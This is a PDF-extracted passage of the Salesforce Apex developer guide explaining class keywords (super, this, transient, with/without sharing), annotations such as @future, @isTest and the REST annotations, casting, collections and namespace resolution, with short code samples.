
Using the instanceof Keyword
If you need to verify at runtime whether an object is actually an instance of a particular class, use the instanceof keyword.
The instanceof keyword can only be used to verify if the target type in the expression on the right of the keyword is a viable
alternative for the declared type of the expression on the left.
You could add the following check to the Report class in the classes and casting example before you cast the item back into
a CustomReport object.
If (Reports.get(0) instanceof CustomReport) {
// Can safely cast it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
} Else {
// Do something with the non-custom-report.
}

74
Classes, Objects, and Interfaces

Using the super Keyword

Using the super Keyword
The super keyword can be used by classes that are extended from virtual or abstract classes. By using super, you can override
constructors and methods from the parent class.
For example, if you have the following virtual class:
public virtual class SuperClass {
public String mySalutation;
public String myFirstName;
public String myLastName;
public SuperClass() {
mySalutation = 'Mr.';
myFirstName = 'Carl';
myLastName = 'Vonderburg';
}
public SuperClass(String salutation, String firstName, String lastName) {
mySalutation = salutation;
myFirstName = firstName;
myLastName = lastName;
}
public virtual void printName() {
System.debug('My name is ' + mySalutation + myLastName);
}
public virtual String getFirstName() {
return myFirstName;
}
}

You can create the following class that extends Superclass and overrides its printName method:
public class Subclass extends Superclass {
public override void printName() {
super.printName();
System.debug('But you can call me ' + super.getFirstName());
}
}

The expected output when calling Subclass.printName is My name is Mr. Vonderburg. But you can call
me Carl.
You can also use super to call constructors. Add the following constructor to SubClass:
public Subclass() {
super('Madam', 'Brenda', 'Clapentrap');
}

Now, the expected output of Subclass.printName is My name is Madam Clapentrap. But you can call
me Brenda.
Best Practices for Using the super Keyword
•
•

Only classes that are extending from virtual or abstract classes can use super.
You can only use super in methods that are designated with the override keyword.
75
Classes, Objects, and Interfaces

Using the this Keyword

Using the this Keyword
There are two different ways of using the this keyword.
You can use the this keyword in dot notation, without parenthesis, to represent the current instance of the class in which it
appears. Use this form of the this keyword to access instance variables and methods. For example:
public class myTestThis {
string s;
{
this.s = 'TestString';
}
}

In the above example, the class myTestThis declares an instance variable s. The initialization code populates the variable
using the this keyword.
Or you can use the this keyword to do constructor chaining, that is, in one constructor, call another constructor. In this
format, use the this keyword with parentheses. For example:
public class testThis {
// First constructor for the class. It requires a string parameter.
public testThis(string s2) {
}
// Second constructor for the class. It does not require a parameter.
// This constructor calls the first constructor using the this keyword.
public testThis() {
this('None');
}
}

When you use the this keyword in a constructor to do constructor chaining, it must be the first statement in the constructor.

Using the transient Keyword
Use the transient keyword to declare instance variables that can't be saved, and shouldn't be transmitted as part of the view
state for a Visualforce page. For example:
Transient Integer currentTotal;

You can also use the transient keyword in Apex classes that are serializable, namely in controllers, controller extensions,
or classes that implement the Batchable or Schedulable interface. In addition, you can use transient in classes that
define the types of fields declared in the serializable classes.
Declaring variables as transient reduces view state size. A common use case for the transient keyword is a field on a
Visualforce page that is needed only for the duration of a page request, but should not be part of the page's view state and
would use too many system resources to be recomputed many times during a request.
Some Apex objects are automatically considered transient, that is, their value does not get saved as part of the page's view
state. These objects include the following:
•
•

PageReferences
XmlStream classes

76
Classes, Objects, and Interfaces

Using the with sharing or without sharing Keywords

Collections automatically marked as transient only if the type of object that they hold is automatically marked as transient,
such as a collection of Savepoints
Most of the objects generated by system methods, such as Schema.getGlobalDescribe.
JSONParser class instances.

•
•
•

Static variables also don't get transmitted through the view state.
The following example contains both a Visualforce page and a custom controller. Clicking the refresh button on the page
causes the transient date to be updated because it is being recreated each time the page is refreshed. The non-transient date
continues to have its original value, which has been deserialized from the view state, so it remains the same.
<apex:page controller="ExampleController">
T1: {!t1} <br/>
T2: {!t2} <br/>
<apex:form>
<apex:commandLink value="refresh"/>
</apex:form>
</apex:page>
public class ExampleController {
DateTime t1;
transient DateTime t2;
public String getT1() {
if (t1 == null) t1 = System.now();
return '' + t1;
}
public String getT2() {
if (t2 == null) t2 = System.now();
return '' + t2;
}
}

See Also:
JSONParser Class

Using the with sharing or without sharing Keywords
Use the with sharing or without sharing keywords on a class to specify whether or not to enforce sharing rules.
The with sharing keyword allows you to specify that the sharing rules for the current user be taken into account for a class.
You have to explicitly set this keyword for the class because Apex code runs in system context. In system context, Apex code
has access to all objects and fields— object permissions, field-level security, sharing rules aren’t applied for the current user.
This is to ensure that code won’t fail to run because of hidden fields or objects for a user. The only exceptions to this rule are
Apex code that is executed with the executeAnonymous call and Chatter in Apex. executeAnonymous always executes
using the full permissions of the current user. For more information on executeAnonymous, see Anonymous Blocks on
page 183.
Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user. For
example:
public with sharing class sharingClass {
// Code here
}

77
Classes, Objects, and Interfaces

Annotations

Use the without sharing keywords when declaring a class to ensure that the sharing rules for the current user are not
enforced. For example:
public without sharing class noSharing {
// Code here
}

Some things to note about sharing keywords:
•

•
•
•
•

The sharing setting of the class where the method is defined is applied, not of the class where the method is called. For
example, if a method is defined in a class declared with with sharing is called by a class declared with without
sharing, the method will execute with sharing rules enforced.
If a class isn’t declared as either with or without sharing, the current sharing rules remain in effect. This means that if the
class is called by a class that has sharing enforced, then sharing is enforced for the called class.
Both inner classes and outer classes can be declared as with sharing. The sharing setting applies to all code contained
in the class, including initialization code, constructors, and methods.
Inner classes do not inherit the sharing setting from their container class.
Classes inherit this setting from a parent class when one class extends or implements another.

Annotations
An Apex annotation modifies the way a method or class is used, similar to annotations in Java.
Annotations are defined with an initial @ symbol, followed by the appropriate keyword. To add an annotation to a method,
specify it immediately before the method or class definition. For example:

global class MyClass {
@future
Public static void myMethod(String a)
{
//long-running Apex code
}
}

Apex supports the following annotations:
•
•
•
•
•
•
•

@Deprecated
@Future
@IsTest
@ReadOnly
@RemoteAction
@TestVisible

Apex REST annotations:
◊
◊
◊
◊
◊
◊

@RestResource(urlMapping='/yourUrl')
@HttpDelete
@HttpGet
@HttpPatch
@HttpPost
@HttpPut

78
Classes, Objects, and Interfaces

Deprecated Annotation

Deprecated Annotation
Use the deprecated annotation to identify methods, classes, exceptions, enums, interfaces, or variables that can no longer
be referenced in subsequent releases of the managed package in which they reside. This is useful when you are refactoring
code in managed packages as the requirements evolve. New subscribers cannot see the deprecated elements, while the elements
continue to function for existing subscribers and API integrations.
The following code snippet shows a deprecated method. The same syntax can be used to deprecate classes, exceptions, enums,
interfaces, or variables.
@deprecated
// This method is deprecated. Use myOptimizedMethod(String a, String b) instead.
global void myMethod(String a) {
}

Note the following rules when deprecating Apex identifiers:
Unmanaged packages cannot contain code that uses the deprecated keyword.
When an Apex item is deprecated, all global access modifiers that reference the deprecated identifier must also be
deprecated. Any global method that uses the deprecated type in its signature, either in an input argument or the method
return type, must also be deprecated. A deprecated item, such as a method or a class, can still be referenced internally by
the package developer.
webService methods and variables cannot be deprecated.
You can deprecate an enum but you cannot deprecate individual enum values.
You can deprecate an interface but you cannot deprecate individual methods in an interface.
You can deprecate an abstract class but you cannot deprecate individual abstract methods in an abstract class.
You cannot remove the deprecated annotation to undeprecate something in Apex after you have released a package
version where that item in Apex is deprecated.

•
•

•
•
•
•
•

For more information about package versions, see What is a Package? on page 384.

Future Annotation
Use the future annotation to identify methods that are executed asynchronously. When you specify future, the method
executes when Salesforce has available resources.
For example, you can use the future annotation when making an asynchronous Web service callout to an external service.
Without the annotation, the Web service callout is made from the same thread that is executing the Apex code, and no
additional processing can occur until the callout is complete (synchronous processing).
Methods with the future annotation must be static methods, and can only return a void type. The specified parameters must
be primitive data types, arrays of primitive data types, or collections of primitive data types. Methods with the future
annotation cannot take sObjects or objects as arguments.
To make a method in a class execute asynchronously, define the method with the future annotation. For example:
global class MyFutureClass {
@future
static void myMethod(String a, Integer i) {
System.debug('Method called with: ' + a + ' and ' + i);
// Perform long-running code
}
}

79
Classes, Objects, and Interfaces

IsTest Annotation

Specify (callout=true) to allow callouts in a future method. Specify (callout=false) to prevent a method from making
callouts.
The following snippet shows how to specify that a method executes a callout:
@future (callout=true)
public static void doCalloutFromFuture() {
//Add code to perform callout
}

Future Method Considerations
Remember that any method using the future annotation requires special consideration because the method does not
necessarily execute in the same order it is called.
Methods with the future annotation cannot be used in Visualforce controllers in either getMethodName or
setMethodName methods, nor in the constructor.
You cannot call a method annotated with future from a method that also has the future annotation. Nor can you call
a trigger from an annotated method that calls another annotated method.
The getContent and getContentAsPDF PageReference methods cannot be used in methods with the future
annotation.

•
•
•
•

IsTest Annotation
Use the isTest annotation to define classes and methods that only contain code used for testing your application. The isTest
annotation on methods is equivalent to the testMethod keyword.
Note: Classes defined with the isTest annotation don't count against your organization limit of 3 MB for all Apex
code.
Classes and methods defined as isTest can be either private or public. Classes defined as isTest must be top-level
classes.
This is an example of a private test class that contains two test methods.
@isTest
private class MyTestClass {
// Methods for testing
@isTest static void test1() {
// Implement test code
}
@isTest static void test2() {
// Implement test code
}
}

This is an example of a public test class that contains utility methods for test data creation:
@isTest
public class TestUtil {
public static void createTestAccounts() {
// Create some test accounts
}
public static void createTestContacts() {
// Create some test contacts

80
Classes, Objects, and Interfaces

IsTest Annotation

}
}

Classes defined as isTest can't be interfaces or enums.
Methods of a public test class can only be called from a running test, that is, a test method or code invoked by a test method,
and can't be called by a non-test request.. To learn about the various ways you can run test methods, see Running Unit Test
Methods.
IsTest(SeeAllData=true) Annotation

For Apex code saved using Salesforce.com API version 24.0 and later, use the isTest(SeeAllData=true) annotation to
grant test classes and individual test methods access to all data in the organization, including pre-existing data that the test
didn’t create. Starting with Apex code saved using Salesforce.com API version 24.0, test methods don’t have access by default
to pre-existing data in the organization. However, test code saved against Salesforce.com API version 23.0 and earlier continues
to have access to all data in the organization and its data access is unchanged. See Isolation of Test Data from Organization
Data in Unit Tests on page 360.
Considerations for the IsTest(SeeAllData=true) Annotation
If a test class is defined with the isTest(SeeAllData=true) annotation, this annotation applies to all its test
methods whether the test methods are defined with the @isTest annotation or the testmethod keyword.
The isTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method
level. However, using isTest(SeeAllData=false) on a method doesn’t restrict organization data access for that
method if the containing class has already been defined with the isTest(SeeAllData=true) annotation. In this
case, the method will still have access to all the data in the organization.

•
•

This example shows how to define a test class with the isTest(SeeAllData=true) annotation. All the test methods in
this class have access to all data in the organization.
// All test methods in this class can access all data.
@isTest(SeeAllData=true)
public class TestDataAccessClass {
// This test accesses an existing account.
// It also creates and accesses a new test account.
static testmethod void myTestMethod1() {
// Query an existing account in the organization.
Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1];
System.assert(a != null);
// Create a test account based on the queried account.
Account testAccount = a.clone();
testAccount.Name = 'Acme Test';
insert testAccount;
// Query the test account that was inserted.
Account testAccount2 = [SELECT Id, Name FROM Account
WHERE Name='Acme Test' LIMIT 1];
System.assert(testAccount2 != null);
}
// Like the previous method, this test method can also access all data
// because the containing class is annotated with @isTest(SeeAllData=true).
@isTest static void myTestMethod2() {
// Can access all data in the organization.
}
}

81
Classes, Objects, and Interfaces

IsTest Annotation

This second example shows how to apply the isTest(SeeAllData=true) annotation on a test method. Because the class
that the test method is contained in isn’t defined with this annotation, you have to apply this annotation on the test method
to enable access to all data for that test method. The second test method doesn’t have this annotation, so it can access only
the data it creates in addition to objects that are used to manage your organization, such as users.
// This class contains test methods with different data access levels.
@isTest
private class ClassWithDifferentDataAccess {
// Test method that has access to all data.
@isTest(SeeAllData=true)
static void testWithAllDataAccess() {
// Can query all data in the organization.
}
// Test method that has access to only the data it creates
// and organization setup and metadata objects.
@isTest static void testWithOwnDataAccess() {
// This method can still access the User object.
// This query returns the first user object.
User u = [SELECT UserName,Email FROM User LIMIT 1];
System.debug('UserName: ' + u.UserName);
System.debug('Email: ' + u.Email);
// Can access the test account that is created here.
Account a = new Account(Name='Test Account');
insert a;
// Access the account that was just created.
Account insertedAcct = [SELECT Id,Name FROM Account
WHERE Name='Test Account'];
System.assert(insertedAcct != null);
}
}

IsTest(OnInstall=true) Annotation

Use the IsTest(OnInstall=true) annotation to specify which Apex tests are executed during package installation. This
annotation is used for tests in managed or unmanaged packages. Only test methods with this annotation, or methods that are
part of a test class that has this annotation, will be executed during package installation. Tests annotated to run during package
installation must pass in order for the package installation to succeed. It is no longer possible to bypass a failing test during
package installation. A test method or a class that doesn't have this annotation, or that is annotated with
isTest(OnInstall=false) or isTest, won't be executed during installation.
This example shows how to annotate a test method that will be executed during package installation. In this example, test1
will be executed but test2 and test3 won't.
public class OnInstallClass {
// Implement logic for the class.
public void method1(){
// Some code
}
}
@isTest
private class OnInstallClassTest {
// This test method will be executed
// during the installation of the package.
@isTest(OnInstall=true)
static void test1() {
// Some test code
}
// Tests excluded from running during the
// the installation of a package.

82
Classes, Objects, and Interfaces

ReadOnly Annotation

@isTest
static void test2() {
// Some test code
}
static testmethod void test3() {
// Some test code
}
}

ReadOnly Annotation
The @ReadOnly annotation allows you to perform unrestricted queries against the Force.com database. All other limits still
apply. It's important to note that this annotation, while removing the limit of the number of returned rows for a request, blocks
you from performing the following operations within the request: DML operations, calls to System.schedule, calls to
methods annotated with @future, and sending emails.
The @ReadOnly annotation is available for Web services and the Schedulable interface. To use the @ReadOnly annotation,
the top level request must be in the schedule execution or the Web service invocation. For example, if a Visualforce page calls
a Web service that contains the @ReadOnly annotation, the request fails because Visualforce is the top level request, not the
Web service.
Visualforce pages can call controller methods with the @ReadOnly annotation, and those methods will run with the same
relaxed restrictions. To increase other Visualforce-specific limits, such as the size of a collection that can be used by an iteration
component like <apex:pageBlockTable>, you can set the readonly attribute on the <apex:page> tag to true. For
more information, see Working with Large Sets of Data in the Visualforce Developer's Guide.

RemoteAction Annotation
The RemoteAction annotation provides support for Apex methods used in Visualforce to be called via JavaScript. This
process is often referred to as JavaScript remoting.
Note: Methods with the RemoteAction annotation must be static and either global or public.

To use JavaScript remoting in a Visualforce page, add the request as a JavaScript invocation with the following form:
[namespace.]controller.method(
[parameters...,]
callbackFunction,
[configuration]
);

•
•
•
•
•

•

namespace is the namespace of the controller class. This is required if your organization has a namespace defined, or if

the class comes from an installed package.
controller is the name of your Apex controller.
method is the name of the Apex method you’re calling.
parameters is the comma-separated list of parameters that your method takes.
callbackFunction is the name of the JavaScript function that will handle the response from the controller. You can
also declare an anonymous function inline. callbackFunction receives the status of the method call and the result as
parameters.
configuration configures the handling of the remote call and response. Use this to change the behavior of a remoting
call, such as whether or not to escape the Apex method’s response.

83
Classes, Objects, and Interfaces

TestVisible Annotation

In your controller, your Apex method declaration is preceded with the @RemoteAction annotation like this:
@RemoteAction
global static String getItemId(String objectName) { ... }

Your method can take Apex primitives, collections, typed and generic sObjects, and user-defined Apex classes and interfaces
as arguments. Generic sObjects must have an ID or sobjectType value to identify actual type. Interface parameters must have
an apexType to identify actual type. Your method can return Apex primitives, sObjects, collections, user-defined Apex classes
and enums, SaveResult, UpsertResult, DeleteResult, SelectOption, or PageReference.
For more information, see “JavaScript Remoting for Apex Controllers” in the Visualforce Developer's Guide.

TestVisible Annotation
Use the TestVisible annotation to allow test methods to access private or protected members of another class outside the
test class. These members include methods, member variables, and inner classes. This annotation enables a more permissive
access level for running tests only. This annotation doesn’t change the visibility of members if accessed by non-test classes.
With this annotation, you don’t have to change the access modifiers of your methods and member variables to public if you
want to access them in a test method. For example, if a private member variable isn’t supposed to be exposed to external classes
but it should be accessible by a test method, you can add the TestVisible annotation to the variable definition.
This example shows how to annotate a private class member variable and private method with TestVisible.
public class TestVisibleExample {
// Private member variable
@TestVisible private static Integer recordNumber = 1;
// Private method
@TestVisible private static void updateRecord(String name) {
// Do something
}
}

This is the test class that uses the previous class. It contains the test method that accesses the annotated member variable and
method.
@isTest
private class TestVisibleExampleTest {
@isTest static void test1() {
// Access private variable annotated with TestVisible
Integer i = TestVisibleExample.recordNumber;
System.assertEquals(1, i);
// Access private method annotated with TestVisible
TestVisibleExample.updateRecord('RecordName');
// Perform some verification
}
}

Apex REST Annotations
Six new annotations have been added that enable you to expose an Apex class as a RESTful Web service.
•
•
•

@RestResource(urlMapping='/yourUrl')
@HttpDelete
@HttpGet

84
Classes, Objects, and Interfaces

•
•
•

Apex REST Annotations

@HttpPatch
@HttpPost
@HttpPut

RestResource Annotation
The @RestResource annotation is used at the class level and enables you to expose an Apex class as a REST resource.
These are some considerations when using this annotation:
•
•
•
•

The URL mapping is relative to https://instance.salesforce.com/services/apexrest/.
A wildcard character (*) may be used.
The URL mapping is case-sensitive. A URL mapping for my_url will only match a REST resource containing my_url
and not My_Url.
To use this annotation, your Apex class must be defined as global.

URL Guidelines
URL path mappings are as follows:
•
•

The path must begin with a '/'
If an '*' appears, it must be preceded by '/' and followed by '/', unless the '*' is the last character, in which case it need not
be followed by '/'

The rules for mapping URLs are:
•
•
•

An exact match always wins.
If no exact match is found, find all the patterns with wildcards that match, and then select the longest (by string length)
of those.
If no wildcard match is found, an HTTP response status code 404 is returned.

The URL for a namespaced classes contains the namespace. For example, if your class is in namespace abc and the class is
mapped to your_url, then the API URL is modified as follows:
https://instance.salesforce.com/services/apexrest/abc/your_url/. In the case of a URL collision, the
namespaced class is always used.

HttpDelete Annotation
The @HttpDelete annotation is used at the method level and enables you to expose an Apex method as a REST resource.
This method is called when an HTTP DELETE request is sent, and deletes the specified resource.
To use this annotation, your Apex method must be defined as global static.

HttpGet Annotation
The @HttpGet annotation is used at the method level and enables you to expose an Apex method as a REST resource. This
method is called when an HTTP GET request is sent, and returns the specified resource.
These are some considerations when using this annotation:
•
•

To use this annotation, your Apex method must be defined as global static.
Methods annotated with @HttpGet are also called if the HTTP request uses the HEAD request method.

HttpPatch Annotation
The @HttpPatch annotation is used at the method level and enables you to expose an Apex method as a REST resource.
This method is called when an HTTP PATCH request is sent, and updates the specified resource.
85
Classes, Objects, and Interfaces

Classes and Casting

To use this annotation, your Apex method must be defined as global static.

HttpPost Annotation
The @HttpPost annotation is used at the method level and enables you to expose an Apex method as a REST resource. This
method is called when an HTTP POST request is sent, and creates a new resource.
To use this annotation, your Apex method must be defined as global static.

HttpPut Annotation
The @HttpPut annotation is used at the method level and enables you to expose an Apex method as a REST resource. This
method is called when an HTTP PUT request is sent, and creates or updates the specified resource.
To use this annotation, your Apex method must be defined as global static.

Classes and Casting
In general, all type information is available at runtime. This means that Apex enables casting, that is, a data type of one class
can be assigned to a data type of another class, but only if one class is a child of the other class. Use casting when you want to
convert an object from one data type to another.
In the following example, CustomReport extends the class Report. Therefore, it is a child of that class. This means that
you can use casting to assign objects with the parent data type (Report) to the objects of the child data type (CustomReport).
In the following code block, first, a custom report object is added to a list of report objects. After that, the custom report object
is returned as a report object, then is cast back into a custom report object.
Public virtual class Report {
Public class CustomReport extends Report {
// Create a list of report objects
Report[] Reports = new Report[5];
// Create a custom report object
CustomReport a = new CustomReport();
// Because the custom report is a sub class of the Report class,
// you can add the custom report object a to the list of report objects
Reports.add(a);
//
//
//
//

The following is not legal, because the compiler does not know that what you are
returning is a custom report. You must use cast to tell it that you know what
type you are returning
CustomReport c = Reports.get(0);

// Instead, get the first item in the list by casting it back to a custom report object
CustomReport c = (CustomReport) Reports.get(0);
}
}

86
Classes, Objects, and Interfaces

Classes and Collections

Figure 4: Casting Example
In addition, an interface type can be cast to a sub-interface or a class type that implements that interface.
Tip: To verify if a class is a specific type of class, use the instanceOf keyword. For more information, see Using
the instanceof Keyword on page 74.

Classes and Collections
Lists and maps can be used with classes and interfaces, in the same ways that lists and maps can be used with sObjects. This
means, for example, that you can use a user-defined data type only for the value of a map, not for the key. Likewise, you cannot
create a set of user-defined objects.
If you create a map or list of interfaces, any child type of the interface can be put into that collection. For instance, if the List
contains an interface i1, and MyC implements i1, then MyC can be placed in the list.

Collection Casting
Because collections in Apex have a declared type at runtime, Apex allows collection casting.
Collections can be cast in a similar manner that arrays can be cast in Java. For example, a list of CustomerPurchaseOrder
objects can be assigned to a list of PurchaseOrder objects if class CustomerPurchaseOrder is a child of class PurchaseOrder.
public virtual class PurchaseOrder {

87
Classes, Objects, and Interfaces

Differences Between Apex Classes and Java Classes

Public class CustomerPurchaseOrder extends PurchaseOrder {
}
{
List<PurchaseOrder> POs = new PurchaseOrder[] {};
List<CustomerPurchaseOrder> CPOs = new CustomerPurchaseOrder[]{};
POs = CPOs;}
}

Once the CustomerPurchaseOrder list is assigned to the PurchaseOrder list variable, it can be cast back to a list of
CustomerPurchaseOrder objects, but only because that instance was originally instantiated as a list of CustomerPurchaseOrder.
A list of PurchaseOrder objects that is instantiated as such cannot be cast to a list of CustomerPurchaseOrder objects, even if
the list of PurchaseOrder objects contains only CustomerPurchaseOrder objects.
If the user of a PurchaseOrder list that only includes CustomerPurchaseOrders objects tries to insert a
non-CustomerPurchaseOrder subclass of PurchaseOrder (such as InternalPurchaseOrder), a runtime exception results.
This is because Apex collections have a declared type at runtime.
Note: Maps behave in the same way as lists with regards to the value side of the Map—if the value side of map A
can be cast to the value side of map B, and they have the same key type, then map A can be cast to map B. A runtime
error results if the casting is not valid with the particular map at runtime.

Differences Between Apex Classes and Java Classes
The following is a list of the major differences between Apex classes and Java classes:
•
•
•

•
•
•
•

•

Inner classes and interfaces can only be declared one level deep inside an outer class.
Static methods and variables can only be declared in a top-level class definition, not in an inner class.
Inner classes behave like static Java inner classes, but do not require the static keyword. Inner classes can have instance
member variables like outer classes, but there is no implicit pointer to an instance of the outer class (using the this
keyword).
The private access modifier is the default, and means that the method or variable is accessible only within the Apex
class in which it is defined. If you do not specify an access modifier, the method or variable is private.
Specifying no access modifier for a method or variable and the private access modifier are synonymous.
The public access modifier means the method or variable can be used by any Apex in this application or namespace.
The global access modifier means the method or variable can be used by any Apex code that has access to the class, not
just the Apex code in the same application. This access modifier should be used for any method that needs to be referenced
outside of the application, either in the SOAP API or by other Apex code. If you declare a method or variable as global,
you must also declare the class that contains it as global.
Methods and classes are final by default.
◊ The virtual definition modifier allows extension and overrides.
◊ The override keyword must be used explicitly on methods that override base class methods.

•
•

Interface methods have no modifiers—they are always global.
Exception classes must extend either exception or another user-defined exception.
◊ Their names must end with the word exception.
◊ Exception classes have four implicit constructors that are built-in, although you can add others.

88
Classes, Objects, and Interfaces

•

Class Definition Creation

Classes and interfaces can be defined in triggers and anonymous blocks, but only as local.

See Also:
Exceptions in Apex

Class Definition Creation
To create a class in Salesforce:
1. From Setup, click Develop > Apex Classes.
2. Click New.
3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed
managed packages from the AppExchange, you can also specify which version of each managed package to use with this
class. Use the default values for all versions. This associates the class with the most recent version of Apex and the API,
as well as each managed package. You can specify an older version of a managed package if you want to access components
or functionality that differs from the most recent package version. You can specify an older version of Apex and the API
to maintain specific behavior.
4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including
comments, test methods, or classes defined using @isTest.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue
editing your class. Your Apex class must compile correctly before you can save your class.
Classes can also be automatically generated from a WSDL by clicking Generate from WSDL. See SOAP Services: Defining
a Class from a WSDL Document on page 287.
Once saved, classes can be invoked through class methods or variables by other Apex code, such as a trigger.
Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex
and the API. If the Apex class references components, such as a custom object, in installed managed packages, the
version settings for each managed package referenced by the class is saved too. Additionally, classes are stored with
an isValid flag that is set to true as long as dependent metadata has not changed since the class was last compiled.
If any changes are made to object names or fields that are used in the class, including superficial changes such as edits
to an object or field description, or if changes are made to a class that calls this class, the isValid flag is set to false.
When a trigger or Web service call invokes the class, the code is recompiled and the user is notified if there are any
errors. If there are no errors, the isValid flag is reset to true.

The Apex Class Editor
When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available
with the following functionality:
Syntax highlighting
The editor automatically applies syntax highlighting for keywords and all functions and operators.
Search ( )
Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search
textbox and click Find Next.
• To replace a found search string with another string, enter the new string in the Replace textbox and click replace
to replace just that instance, or Replace All to replace that instance and all other instances of the search string that
occur in the page, class, or trigger.
• To make the search operation case sensitive, select the Match Case option.

89
Classes, Objects, and Interfaces

•

Naming Conventions

To use a regular expression as your search string, select the Regular Expressions option. The regular expressions
follow JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more
than one line.
If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular
expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag
with an <h2> tag and keep all the attributes on the original <h1> intact, search for <h1(s+)(.*)> and replace it
with <h2$1$2>.

Go to line ( )
This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that
line.
Undo ( ) and Redo ( )
Use undo to reverse an editing action and redo to recreate an editing action that was undone.
Font size
Select a font size from the drop-down list to control the size of the characters displayed in the editor.
Line and column position
The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used
with go to line (

) to quickly navigate through the editor.

Line and character count
The total number of lines and characters is displayed in the status bar at the bottom of the editor.

Naming Conventions
We recommend following Java standards for naming, that is, classes start with a capital letter, methods start with a lowercase
verb, and variable names should be meaningful.
It is not legal to define a class and interface with the same name in the same class. It is also not legal for an inner class to have
the same name as its outer class. However, methods and variables have their own namespaces within the class so these three
types of names do not clash with each other. In particular it is legal for a variable, method, and a class within a class to have
the same name.

Name Shadowing
Member variables can be shadowed by local variables—in particular function arguments. This allows methods and constructors
of the standard Java form:
Public Class Shadow {
String s;
Shadow(String s) { this.s = s; } // Same name ok
setS(String s) { this.s = s; } // Same name ok
}

Member variables in one class can shadow member variables with the same name in a parent classes. This can be useful if the
two classes are in different top-level classes and written by different teams. For example, if one has a reference to a class C and
wants to gain access to a member variable M in parent class P (with the same name as a member variable in C) the reference
should be assigned to a reference to P first.

90
Classes, Objects, and Interfaces

Namespace Prefix

Static variables can be shadowed across the class hierarchy—so if P defines a static S, a subclass C can also declare a static S.
References to S inside C refer to that static—in order to reference the one in P, the syntax P.S must be used.
Static class variables cannot be referenced through a class instance. They must be referenced using the raw variable name by
itself (inside that top-level class file) or prefixed with the class name. For example:
public class p1 {
public static final Integer CLASS_INT = 1;
public class c { };
}
p1.c c = new p1.c();
// This is illegal
// Integer i = c.CLASS_INT;
// This is correct
Integer i = p1.CLASS_INT;

Namespace Prefix
The Salesforce application supports the use of namespace prefixes. Namespace prefixes are used in managed Force.com
AppExchange packages to differentiate custom object and field names from those in use by other organizations. After a
developer registers a globally unique namespace prefix and registers it with AppExchange registry, external references to custom
object and field names in the developer's managed packages take on the following long format:
namespace_prefix__obj_or_field_name__c

Because these fully-qualified names can be onerous to update in working SOQL statements, SOSL statements, and Apex
once a class is marked as “managed,” Apex supports a default namespace for schema names. When looking at identifiers, the
parser considers the namespace of the current object and then assumes that it is the namespace of all other objects and fields
unless otherwise specified. Consequently, a stored class should refer to custom object and field names directly (using
obj_or_field_name__c) for those objects that are defined within its same application namespace.
Tip: Only use namespace prefixes when referring to custom objects and fields in managed packages that have been
installed to your organization from theAppExchange.

Using Namespaces When Invoking Package Methods
To invoke a method that is defined in a managed package, Apex allows fully-qualified identifiers of the form:
namespace_prefix.class.method(args)

Using the System Namespace
The System namespace is the default namespace in Apex. This means that you can omit the namespace when creating a new
instance of a system class or when calling a system method. For example, because the built-in URL class is in the System
namespace, both of these statements to create an instance of the URL class are equivalent:
System.URL url1 = new System.URL('http://na1.salesforce.com');

And:
URL url1 = new URL('http://na1.salesforce.com');

91
Classes, Objects, and Interfaces

Namespace, Class, and Variable Name Precedence

Similarly, to call a static method on the URL class, you can write either of the following:
System.URL.getCurrentRequestUrl();

Or:
URL.getCurrentRequestUrl();

Note: In addition to the System namespace, there is a built-in System class in the System namespace, which
provides methods like assertEquals and debug. Don’t get confused by the fact that both the namespace and the
class have the same name in this case. The System.debug('debug message'); and
System.System.debug('debug message'); statements are equivalent.
Using the System Namespace for Disambiguation
It is easier to not include the System namespace when calling static methods of system classes, but there are situations where
you must include the System namespace to differentiate the built-in Apex classes from custom Apex classes with the same
name. If your organization contains Apex classes that you’ve defined with the same name as a built-in class, the Apex runtime
defaults to your custom class and calls the methods in your class. Let’s take a look at the following example.
Create this custom Apex class:
public class Database {
public static String query() {
return 'wherefore art thou namespace?';
}
}

Execute this statement in the Developer Console:
sObject[] acct = Database.query('SELECT Name FROM Account LIMIT 1);
System.debug(acct[0].get('Name'));

When the Database.query statement executes, Apex looks up the query method on the custom Database class first.
However, the query method in this class doesn’t take any parameters and no match is found, hence you get an error. The
custom Database class overrides the built-in Database class in the System namespace. To solve this problem, add the
System namespace prefix to the class name to explicitly instruct the Apex runtime to call the query method on the built-in
Database class in the System namespace:
sObject[] acct = System.Database.query('SELECT Name FROM Account LIMIT 1);
System.debug(acct[0].get('Name'));

Namespace, Class, and Variable Name Precedence
Because local variables, class names, and namespaces can all hypothetically use the same identifiers, the Apex parser evaluates
expressions in the form of name1.name2.[...].nameN as follows:
1. The parser first assumes that name1 is a local variable with name2 - nameN as field references.
2. If the first assumption does not hold true, the parser then assumes that name1 is a class name and name2 is a static variable
name with name3 - nameN as field references.
3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class
name, name3 is a static variable name, and name4 - nameN are field references.
4. If the third assumption does not hold true, the parser reports an error.

92
Classes, Objects, and Interfaces

Type Resolution and System Namespace for Types

If the expression ends with a set of parentheses (for example, name1.name2.[...].nameM.nameN()), the Apex parser
evaluates the expression as follows:
1. The parser first assumes that name1 is a local variable with name2 - nameM as field references, and nameN as a method
invocation.
2. If the first assumption does not hold true:
•
•

If the expression contains only two identifiers (name1.name2()), the parser then assumes that name1 is a class name
and name2 is a method invocation.
If the expression contains more than two identifiers, the parser then assumes that name1 is a class name, name2 is a
static variable name with name3 - nameM as field references, and nameN is a method invocation.

3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class
name, name3 is a static variable name, name4 - nameM are field references, and nameN is a method invocation.
